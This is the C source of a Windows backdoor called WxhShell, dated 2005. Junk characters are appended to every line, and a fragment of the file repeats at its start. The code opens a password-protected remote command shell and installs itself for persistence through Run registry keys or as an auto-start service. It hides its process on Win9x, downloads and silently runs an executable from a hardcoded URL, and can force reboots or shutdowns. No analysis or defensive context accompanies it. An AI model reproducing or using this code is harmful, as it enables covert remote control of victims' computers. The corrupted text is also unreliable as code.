    if(Boot(SHUTDOWN)) u)<]Pb})r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V;eaQ  
    else { +ydd"`  
    closesocket(wsh); 5, $6mU#=  
    ExitThread(0); 1 tOslP@  
    } J$}]p  
    break;  ,]EhDW6  
    } MsXw 8D  
  // 获取shell 2PAu>}W*  
  case 's': { 36Lkcda[  
    CmdShell(wsh); =p_*lC%N  
    closesocket(wsh); fHd[8{;P:  
    ExitThread(0); j(I(0Yyh  
    break; T=w0T-[f  
  } YP!}Bf  
  // 退出 kK6t|Yn&  
  case 'x': { :{eYm|2-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L|{vkkBo  
    CloseIt(wsh); ,I|^d.[2  
    break;  uWMSn   
    } TyO]|Q5  
  // 离开 %a8e_  
  case 'q': { D|Tz{DRG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); , MqoX-+  
    closesocket(wsh); <bJ|WS|  
    WSACleanup(); hH$9GL{H  
    exit(1); a-#$T)mmfj  
    break; a"}ndrc*  
        } v\(6uej^  
  } ENA"T-p  
  } [fwk[qFa  
guCCu2OTA%  
  // 提示信息 uu-M7>+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?W dY{;&  
} <QgpePyoN  
  } ,y0 &E8Z  
z2R?GQ5 A  
  return; ',Z]w;D!G  
} U$@}!X  
wKcuIc$  
// shell模块句柄 ?]*"S{Cqv  
int CmdShell(SOCKET sock) $<VH~Q<  
{ )`<&~>qp  
STARTUPINFO si; `"V}Wq ?I  
ZeroMemory(&si,sizeof(si)); 5%K|dYv^^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m1K4_a)^[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |A|K);  
PROCESS_INFORMATION ProcessInfo; giIPK&  
char cmdline[]="cmd"; 5ld?N2<8/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <v\$r2C*  
  return 0; i6FJG\d  
} =(R3-['QIb  
^;{uop"DS  
// 自身启动模式 ]:n9MFv  
int StartFromService(void) .f[z_% ar  
{ >,Zn~8&Z  
typedef struct E&"V~  
{ M) JozD%  
  DWORD ExitStatus; [Ak 0kH >  
  DWORD PebBaseAddress; 'aeuL1mz  
  DWORD AffinityMask;  '"hSX=  
  DWORD BasePriority; zII^Ny8D  
  ULONG UniqueProcessId; [tC=P&<  
  ULONG InheritedFromUniqueProcessId; . Y!dO@$:  
}   PROCESS_BASIC_INFORMATION; iTT7<x  
m.gv?  
PROCNTQSIP NtQueryInformationProcess; A[F@rUZp  
AYsHA w   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t3v_o4`&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ofb&W AD  
WXf[W  
  HANDLE             hProcess; }Q^*Zq9-  
  PROCESS_BASIC_INFORMATION pbi; ^mut-@ N9  
%Yg|QBm|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XQOM6$~,  
  if(NULL == hInst ) return 0; E2=vLI]  
$&jVEMia  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eT2Tg5Etc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f"4w@X2F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m,5?|J=  
I2) 2'j,B  
  if (!NtQueryInformationProcess) return 0; Da)_OJYE  
[CAFh:o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )g^O'e=m  
  if(!hProcess) return 0; 0hXx31JN N  
_0ZBG(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; w xa MdA  
L{XW2c$h  
  CloseHandle(hProcess); YPKB4p#  
X<v1ES$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  Oe "%v;-  
if(hProcess==NULL) return 0; ^oE#;aS  
{=U*!`D  
HMODULE hMod; X]W(  
char procName[255]; Q^xk]~G$(  
unsigned long cbNeeded; \W\*'C8q\  
?jvuTS2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6y^GMlsI  
mwZ) PySm)  
  CloseHandle(hProcess); m !i`|]m  
&xt GabNk  
if(strstr(procName,"services")) return 1; // 以服务启动 5x,/p  
f)r6F JLU  
  return 0; // 注册表启动 t4hc X[  
} /?S^#q>m%  
m GJRCK_  
// 主模块 `z7,HJ.0c  
int StartWxhshell(LPSTR lpCmdLine) rP!GS _RG  
{ `'pAiu  
  SOCKET wsl; H_aG\  
BOOL val=TRUE; 5;HCNwX  
  int port=0; Zzb?Nbf  
  struct sockaddr_in door; T)ISDK4>S"  
5/CF_v  
  if(wscfg.ws_autoins) Install(); % w  
/fAAQ7  
port=atoi(lpCmdLine); n@q- f-2  
N\rL ~4/  
if(port<=0) port=wscfg.ws_port; mGkQx -|  
-_O j iQ R  
  WSADATA data; B`jq"[w]-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }-u%6KZ   
=([4pG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   9^nRwo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +!$`0v   
  door.sin_family = AF_INET; ~mMTfC~9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o-;/ x)  
  door.sin_port = htons(port); dT (i*E\j  
6}|h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cRWB`&  
closesocket(wsl); _c5*9')-)  
return 1; Y4_xV&   
} |f.,fVVV;  
( 5uSqw&U  
  if(listen(wsl,2) == INVALID_SOCKET) { a(ml#-M  
closesocket(wsl); M* {5> !\  
return 1; k_Y7<z0G  
} @g]EY&Uzl  
  Wxhshell(wsl); j0(jXAc;UB  
  WSACleanup(); ;P/ 4.|<  
%&q}5Y4!  
return 0; Bvh{|tP4  
XP?)x Dr8  
} a#& ( i  
:F@goiuC  
// 以NT服务方式启动 *v?kp>O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y*v|q=  
{ ^Xu4N"@  
DWORD   status = 0; *-{|m1P  
  DWORD   specificError = 0xfffffff; >mG64N  
7q 5 *grm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <^_crJONom  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  ts=:r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t V>qV\>  
  serviceStatus.dwWin32ExitCode     = 0; 2% OAQ(  
  serviceStatus.dwServiceSpecificExitCode = 0; bMNr +N  
  serviceStatus.dwCheckPoint       = 0; DH.UJ +  
  serviceStatus.dwWaitHint       = 0; ItZYOt|Hn  
jIVDi~Ld  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I3d}DpPx%  
  if (hServiceStatusHandle==0) return; lBAu@M  
a60rJ#GD  
status = GetLastError(); het<#3Bo  
  if (status!=NO_ERROR) sf# px|~9  
{ `Pc<0*`a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5Z5x\CcC3  
    serviceStatus.dwCheckPoint       = 0; n;Q8Gg2U  
    serviceStatus.dwWaitHint       = 0; +mzLOJed  
    serviceStatus.dwWin32ExitCode     = status; Kfr1k  
    serviceStatus.dwServiceSpecificExitCode = specificError; \g h |G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Im@OAR4,R  
    return; uoeZb=<  
  } mtn^+*  
"k{so',7z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :."oWqb)  
  serviceStatus.dwCheckPoint       = 0; GQ>0E  
  serviceStatus.dwWaitHint       = 0; o[i N/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); & d2 `{H  
} d!YP{y P  
uLWu. Vx  
// 处理NT服务事件,比如:启动、停止 :zLf~ W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }2Euz.0  
{ y_=y%  
switch(fdwControl) ^xgPL'  
{ 9&kPcFX B  
case SERVICE_CONTROL_STOP: A'u]z\&%c  
  serviceStatus.dwWin32ExitCode = 0; f/.f08  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cj2^wmkB  
  serviceStatus.dwCheckPoint   = 0; 8/P!i2o  
  serviceStatus.dwWaitHint     = 0; +uNMyVH  
  { nemC-4}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !-SI &qy  
  } e!w{ap8u  
  return; K-c>J uv&,  
case SERVICE_CONTROL_PAUSE: sQr M"i0Y>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L"T :#>  
  break; \7o7~pll  
case SERVICE_CONTROL_CONTINUE: l\m7~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x>4p6H{]0'  
  break; `6NcE-oJ  
case SERVICE_CONTROL_INTERROGATE: 1Z(9<M1!M  
  break; g>b{hkIXg  
}; =yJV8%pa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .M[t5I'\  
} R$eEW"]  
+n &8" )  
// 标准应用程序主函数 r#}o +3*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >B$ IrM7J  
{ &I{5f-o*  
B1Z;  
// 获取操作系统版本 Qo(<>d  
OsIsNt=GetOsVer(); j(pe6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %82:?fq  
79jnYjk  
  // 从命令行安装 QPFv]^s(  
  if(strpbrk(lpCmdLine,"iI")) Install(); :8v? 6Q  
4^ 0CHy  
  // 下载执行文件 bXM&VW?OP  
if(wscfg.ws_downexe) { %w!x \UV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) F+D e"^As  
  WinExec(wscfg.ws_filenam,SW_HIDE); mZnsr@KF  
} zSOZr2- ^a  
+t]Ge >S  
if(!OsIsNt) { =|c7#GaiF  
// 如果时win9x,隐藏进程并且设置为注册表启动 r"VNq&v]9  
HideProc(); zCS }i_ p  
StartWxhshell(lpCmdLine); DoN]v  
} *^Z -4  
else =""5 c  
  if(StartFromService()) 2c*}1 _  
  // 以服务方式启动 *iSE)[W  
  StartServiceCtrlDispatcher(DispatchTable); 9`&sZ|"3  
else m_;XhO  
  // 普通方式启动 F}B2nL&  
  StartWxhshell(lpCmdLine); bc& 5*?  
@JJ{\?>  
return 0; +5:9?&lH  
} F*4G@)  
D~2n8h"2ye  
T.WN9= N  
ZV-Yq !|t  
=========================================== qzu(4*Gk6  
h6 :|RGF  
mF>{cVTF  
c48I-{?  
[a#*%H{OC  
#1'p?%K.  
" {Bpu-R&T  
FaaxfcIfkw  
#include <stdio.h> N=@8~{V.  
#include <string.h> Pf3F)y[=  
#include <windows.h> 0p*Oxsy  
#include <winsock2.h> :?)q"hE  
#include <winsvc.h> $o ;48uV^  
#include <urlmon.h> u*T#? W?  
Bv 7os3xb  
#pragma comment (lib, "Ws2_32.lib") ?nM]eUAP  
#pragma comment (lib, "urlmon.lib") #Xi9O.  
H00iy$R  
#define MAX_USER   100 // 最大客户端连接数 e,*@+E\4  
#define BUF_SOCK   200 // sock buffer  ]C-a[  
#define KEY_BUFF   255 // 输入 buffer * YLp C^&  
1E$^ul-v  
#define REBOOT     0   // 重启 (w%9?y4Q  
#define SHUTDOWN   1   // 关机 {@t6[g++  
87R$Y> V  
#define DEF_PORT   5000 // 监听端口 A aM~B`B  
y*-D  
#define REG_LEN     16   // 注册表键长度 (%4O\ s#l  
#define SVC_LEN     80   // NT服务名长度 .ITTYQHv)  
{YIVi:4q  
// 从dll定义API \"+}-!wr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e8)8QmB{o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I%mGb$ Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZP<OyX?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Fw%S%*B8g  
ca:Vdrw`  
// wxhshell配置信息 x!fRT.,}  
struct WSCFG { EV R>R  
  int ws_port;         // 监听端口 _$T.N  
  char ws_passstr[REG_LEN]; // 口令 m3`J9f,c/  
  int ws_autoins;       // 安装标记, 1=yes 0=no oK2jPP  
  char ws_regname[REG_LEN]; // 注册表键名 [XD3}'Aa  
  char ws_svcname[REG_LEN]; // 服务名 2&2t8.<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8 HD I]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6I\4Yv$N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \*30E<;C_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }t1J`+x%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BHS8MV L@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O?Qi  
5Qxm\?0J  
}; 6/T/A+u  
%oquHkX%OJ  
// default Wxhshell configuration *{5/" H5  
struct WSCFG wscfg={DEF_PORT, J^S!GG'gb  
    "xuhuanlingzhe", Jd',v  
    1, g"kET]KP"  
    "Wxhshell", ?%#no{9  
    "Wxhshell", )1gT&sU0  
            "WxhShell Service", BOP7@D  
    "Wrsky Windows CmdShell Service", LC$M_Cpw  
    "Please Input Your Password: ", f.bwA x  
  1, ?$uEN_1O\@  
  "http://www.wrsky.com/wxhshell.exe", 3Bvz& `\  
  "Wxhshell.exe" C'{B  
    }; E9Dy)f]#W  
 WFhppi   
// 消息定义模块 +U%epq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qr7|;l3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H K J^6|'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vK+!m~kDu  
char *msg_ws_ext="\n\rExit."; hh5h \ZI%  
char *msg_ws_end="\n\rQuit."; c5:0`~5Fn  
char *msg_ws_boot="\n\rReboot..."; .726^2sx  
char *msg_ws_poff="\n\rShutdown..."; b\zq,0%  
char *msg_ws_down="\n\rSave to "; qR_Np5nHF  
cIa`pU,6A  
char *msg_ws_err="\n\rErr!"; lj:.}+]r  
char *msg_ws_ok="\n\rOK!"; {P\Ob0)q  
Cbl>eKw  
char ExeFile[MAX_PATH]; s{{8!Q  
int nUser = 0; 1?3+>  
HANDLE handles[MAX_USER]; ShvC4Xb 0  
int OsIsNt; qFLt/ >  
J><hrZ  
SERVICE_STATUS       serviceStatus; %++S;#)~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; g_k95k3V'  
49O_A[(d  
// 函数声明 .j"heYF)  
int Install(void); Pn4jI(  
int Uninstall(void); W$&*i1<a+  
int DownloadFile(char *sURL, SOCKET wsh); L<XX?I\p  
int Boot(int flag); l-!"   
void HideProc(void); rj4Mq:pJ  
int GetOsVer(void); SG&H^V8  
int Wxhshell(SOCKET wsl); i_+e&Bjd4j  
void TalkWithClient(void *cs); *~cNUyd  
int CmdShell(SOCKET sock); lw?C:-m  
int StartFromService(void); g>'6"p;  
int StartWxhshell(LPSTR lpCmdLine); 6 b?K-)kL  
_3O*"S=1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |u$*'EsP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y5B! *+h  
B|+% ExT7  
// 数据结构和表定义 (2"4PU8  
SERVICE_TABLE_ENTRY DispatchTable[] = mo= @Zt  
{ LWSy"Cs*  
{wscfg.ws_svcname, NTServiceMain}, 2`ERrh^i"  
{NULL, NULL} h.Sbds  
}; UfV { m  
3UZ_1nY  
// 自我安装 1rU\ !GfR  
int Install(void) AXi4{Q,  
{ fIatp  
  char svExeFile[MAX_PATH]; YnDaB px  
  HKEY key; 'd;aAG  
  strcpy(svExeFile,ExeFile); 6z/&j} (  
K:Z,4Y  
// 如果是win9x系统,修改注册表设为自启动 8{{^pW?x  
if(!OsIsNt) { Vhb~kI!x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <S;YNHLC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); upJ y,|5  
  RegCloseKey(key); t=p"nIE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W=|'&UU Ul  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f^5sJ 0;%  
  RegCloseKey(key); VeQ [A?pER  
  return 0; Bxj4rC[  
    } vt5>>rl  
  } d)XT> &  
} <8Z%'C6d  
else { 9jl\H6JY|  
b+Vlq7Bc  
// 如果是NT以上系统,安装为系统服务 SL^%Zh/~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |Xv\3r  
if (schSCManager!=0) @ e7_&EGR?  
{ ~Sd,Tu%:  
  SC_HANDLE schService = CreateService S=~+e{  
  ( +l7Bu}_?  
  schSCManager, #SD2b,f  
  wscfg.ws_svcname, m^)\P?M5|  
  wscfg.ws_svcdisp, +OB&PE  
  SERVICE_ALL_ACCESS, }JT&lyO< b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l|9'l[}&  
  SERVICE_AUTO_START, WFqOVI*l  
  SERVICE_ERROR_NORMAL, ~n/:a  
  svExeFile, /T 6Te<68^  
  NULL, 2fPMZ7Zd3  
  NULL, C{ Z*5)  
  NULL, )MX%DQw  
  NULL, [FWB  
  NULL =)]RD%Oq  
  ); Z@Qf0 c  
  if (schService!=0) #KtV4)(  
  { SC2g5i`  
  CloseServiceHandle(schService); , -Lv3  
  CloseServiceHandle(schSCManager); `]Vn[^?D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M49Hm[0(  
  strcat(svExeFile,wscfg.ws_svcname); Z \ -  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <)@^TRS  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Aca ?C  
  RegCloseKey(key); %';DBozZ   
  return 0; "M]`>eixL  
    } jqoU;u`  
  } B_.>Q8tK;  
  CloseServiceHandle(schSCManager); WS$~o*Z8  
} uYc&Q$U  
} e}L(tXZ  
#8bI4J{dE  
return 1; Gv\fF;,R  
} %E2C4UbY  
9p"';*{=  
// 自我卸载 Y[fbmn^  
int Uninstall(void) Q9t.*+  
{ /3~}= b  
  HKEY key; =iPQ\_ON@  
;WL0  
if(!OsIsNt) { *km - pp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N{zou?+  
  RegDeleteValue(key,wscfg.ws_regname); \G1(r=fU  
  RegCloseKey(key); :SpPT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xec U&  
  RegDeleteValue(key,wscfg.ws_regname); HM\gOz  
  RegCloseKey(key); ,u>K##X\  
  return 0; K+c>Cj}H  
  } h$fC/Juit  
} O<w7PS  
} rYr.mX  
else { (fWQ?6[  
I~Z m**L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  3Kum  
if (schSCManager!=0) <8/lHQ^\)  
{ 93#wU})  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OAz -w  
  if (schService!=0) &rxR"^x\  
  { =p';y&   
  if(DeleteService(schService)!=0) { R0mWVgoz  
  CloseServiceHandle(schService); %5H>tG`]   
  CloseServiceHandle(schSCManager); cj/FqU"  
  return 0; LHP?!rO0  
  } \7,'o] >M-  
  CloseServiceHandle(schService); uw@|Y{(K r  
  } tMy@'nj  
  CloseServiceHandle(schSCManager); Z?-l-s K  
} }' t*BaU  
}  ?2b9N~  
\6${Na' \  
return 1; `_v|O{DC{  
} bx<7@  
4%k_c79>  
// 从指定url下载文件 ?Yp: h  
int DownloadFile(char *sURL, SOCKET wsh) +<H)DPG<  
{ Ie?C<(8Ul  
  HRESULT hr; 6y9#am?  
char seps[]= "/"; qcfLA~y  
char *token; vH#^|u  
char *file; rB:W\5~7  
char myURL[MAX_PATH]; 9_ GR\\  
char myFILE[MAX_PATH]; )y:~T\g  
K(HP PM\  
strcpy(myURL,sURL); ""ICdZ_A  
  token=strtok(myURL,seps); u-7/4Y)c  
  while(token!=NULL) 'DQKpk'  
  { ZWSYh>"  
    file=token; .Eg>)  
  token=strtok(NULL,seps); u#Qd `@p  
  } PQ|kE`'  
!285=cxz  
GetCurrentDirectory(MAX_PATH,myFILE); 8:,l+[\  
strcat(myFILE, "\\"); :- ydsR/  
strcat(myFILE, file); iVt6rX  
  send(wsh,myFILE,strlen(myFILE),0); fG5U' Vw  
send(wsh,"...",3,0); |,Y(YSg.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0> m-J  
  if(hr==S_OK) =?3D:k7z  
return 0; TCFx+*fBd  
else j']m*aM1>  
return 1; _*+ 7*vAL  
gYx|Na,+  
} nmVL%66K  
2mbZ6'p {  
// 系统电源模块 wEo/H  
int Boot(int flag) },'2j  
{ l =ZhHON  
  HANDLE hToken; fNc3&=]]  
  TOKEN_PRIVILEGES tkp; !t6:uC7H  
`Xnu("w)  
  if(OsIsNt) { .S17O}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xGJ{_M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mh!;W=|/"  
    tkp.PrivilegeCount = 1; 7%9Sz5z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i!<,8e=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jx&pRjP  
if(flag==REBOOT) { GH![rK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^Pf FW  
  return 0; *BT-@V.4  
} Kgi%Nd  
else { 1y l2i|m+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;-47d ^  
  return 0; EaG3:<>J  
} IDb|J%e^P  
  } %zyO}  
  else { ig] * Z  
if(flag==REBOOT) { eZ y)>.6Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V4}9f5FR  
  return 0; (t1:2WY@  
} [>Kkj;*  
else { BCk$FM@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l)fF)\|;=  
  return 0; JNRG [j  
} @!&\Z[",  
} ZJ@M}-4O1  
0Np }O=>  
return 1; cOth q87:  
} KD*,u{v;  
bN@V=C3  
// win9x进程隐藏模块 qdrk.~_  
void HideProc(void) f*7/O |Gp  
{ i2A>T/?{  
Xz&Hfs"/J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B@` 87  
  if ( hKernel != NULL ) Glcl7f"<^  
  {  qm&}^S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2f16 /0J@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7-.Y VM~R  
    FreeLibrary(hKernel); hWwh`Vw%  
  } wIz<Y{HA=  
! R?r)G5E  
return; >nkd U  
} $R%xeih1fz  
RyKsM.   
// 获取操作系统版本 r.0IC*Y  
int GetOsVer(void) A9ia[2[  
{  pI|Lt  
  OSVERSIONINFO winfo; 7R[4XQ%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A1zM$ wDU  
  GetVersionEx(&winfo); fDhV *LqW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,J"6(nk  
  return 1; lcHw Kd  
  else #ok1qT9_  
  return 0; 4=td}%  
} I4:4)V?  
M.))UKSF  
// 客户端句柄模块 (wU<Kpt?J  
int Wxhshell(SOCKET wsl) }&Un8Rg"h  
{ eTem RNz  
  SOCKET wsh; S:4'k^E  
  struct sockaddr_in client; 0m7ANqE[Z  
  DWORD myID; i,1=5@rw5  
a7s+l=  
  while(nUser<MAX_USER) q,3_)ZOq  
{ %^ f! = *  
  int nSize=sizeof(client); {m~.'DU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D*BZp0x  
  if(wsh==INVALID_SOCKET) return 1; >UvLeS2h:y  
=B<>H$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V TQ V]>|  
if(handles[nUser]==0) e\%+~GUTC=  
  closesocket(wsh); Osncl5PD)  
else u :AKp<'  
  nUser++; H6%QM}t  
  } G66sP w  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); huFT_z_;;  
9o5W\.A7[D  
  return 0; ?,uTH 4  
} qpzzk9ba[  
t&}Z~Zp  
// 关闭 socket ya7PF~:E-  
void CloseIt(SOCKET wsh) uvR9BL2=  
{ TP7'tb  
closesocket(wsh); A/V"&H[  
nUser--; ]5| o8.  
ExitThread(0); /orpQUHA  
} Bu|U z0Y  
+@*}_%^l"  
// 客户端请求句柄 ; ^+#  
void TalkWithClient(void *cs) )c|S)iJ7=z  
{  .>?h  
*FhD%><  
  SOCKET wsh=(SOCKET)cs; -7jP'l=h  
  char pwd[SVC_LEN]; .x\fPjB   
  char cmd[KEY_BUFF]; Sc!]M 5  
char chr[1]; s+#|j;V<  
int i,j; #m>Rt~(,S  
/I Ql  
  while (nUser < MAX_USER) { O`Ht|@[6  
$p_FrN{  
if(wscfg.ws_passstr) { ybnq;0}$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1$S;#9PQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7C~qAI6Eg  
  //ZeroMemory(pwd,KEY_BUFF); "s-e)svB  
      i=0; dLA'cQId  
  while(i<SVC_LEN) { "mT95x\NA\  
@L?X}'0xI4  
  // 设置超时 [t)omPy<c  
  fd_set FdRead; epz'GN]V  
  struct timeval TimeOut; 6 0C;J!D  
  FD_ZERO(&FdRead); H<tk/\C  
  FD_SET(wsh,&FdRead);  3Ee8_(E\  
  TimeOut.tv_sec=8; )HZUCi/F]  
  TimeOut.tv_usec=0; DGfhS`X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X`xI~&t_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Eu%19s; u  
VyRU_<xP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;=rMIi  
  pwd=chr[0]; 1-z*'Ghys  
  if(chr[0]==0xd || chr[0]==0xa) {  $^&SEz  
  pwd=0; - 0t  
  break; 44s K2  
  } }h+_kRQ  
  i++; &5 *)r@+  
    } T9 @^@l$  
B@ab[dm280  
  // 如果是非法用户,关闭 socket `i{k^Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); = mn jIp  
} 3F%Q q7v  
$}[Tj0+:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +{%@kX<V_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6~g:"}  
jgiP2k[Xom  
while(1) { xx}R6VKU.  
 8ad!.  
  ZeroMemory(cmd,KEY_BUFF); >$.u|a  
j/zD`yd j  
      // 自动支持客户端 telnet标准   3t(8uG<rL  
  j=0; gto@o\&=  
  while(j<KEY_BUFF) { NJYx.TL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E(G=~>P  
  cmd[j]=chr[0]; h]Zc&&+8{  
  if(chr[0]==0xa || chr[0]==0xd) { -t9oL3J  
  cmd[j]=0; #vO3*-hs  
  break; N0s)Nao4  
  } CK e  
  j++; ujcS>XN,1  
    } 5H6GZ:hp  
"X']_:F1a  
  // 下载文件 <_*8a(j3  
  if(strstr(cmd,"http://")) { t\2myR3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (l 2 2p  
  if(DownloadFile(cmd,wsh)) QN(f8t(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (4V1%0  
  else da@y*TO#i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _ED1".&#f  
  } tC+9W1o  
  else { DT&[W<oN  
Fga9  
    switch(cmd[0]) { /3%]Ggwe  
  -b@E@uAX /  
  // 帮助 TbAdTmW  
  case '?': { U2lC !j%K  
